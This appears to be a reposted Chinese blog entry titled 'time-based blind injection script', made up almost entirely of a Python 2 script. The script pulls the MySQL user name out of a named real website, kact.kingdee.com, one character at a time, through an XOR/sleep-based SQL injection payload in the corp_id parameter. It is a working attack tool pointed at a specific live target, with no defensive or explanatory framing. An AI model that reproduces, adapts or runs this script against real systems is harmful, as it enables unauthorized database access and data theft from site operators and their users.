時間盲註腳本.py
阿新 • • 發佈:2018-03-10
odi encoding pconnect one bsp res urllib 腳本 random
時間盲註腳本
#encoding=utf-8 import httplib import time import string import sys import random import urllib headers = {} payloads = ‘abcdefghijklmnopqrstuvwxyz0123456789@_.ABCDEFGHIJKLMNOPQRST‘ print ‘[%s] Start to retrive MySQL User:‘ % time.strftime(‘%H:%M:%S‘, time.localtime()) user = ‘‘ for i in range(1, 21):#21是user判斷出的長度+1 for payload in payloads: try: s = "ascii(mid(lower(user()),%s,1))=%s" % (i, ord(payload)) s = "aaa‘XOR(if(%s,sleep(3),0))OR‘bbb" % s conn = httplib.HTTPConnection(‘kact.kingdee.com‘, timeout=3)#輸入網站地址 conn.request(method=‘GET‘,url="/world/createArticle?corp_id=%s" % urllib.quote(s)) conn.getresponse() conn.close() print ‘.‘, except: user += payload print ‘\n[in progress]‘, user, time.sleep(3.0) break print ‘\n[Done] MySQL user is %s‘ % user
時間盲註腳本.py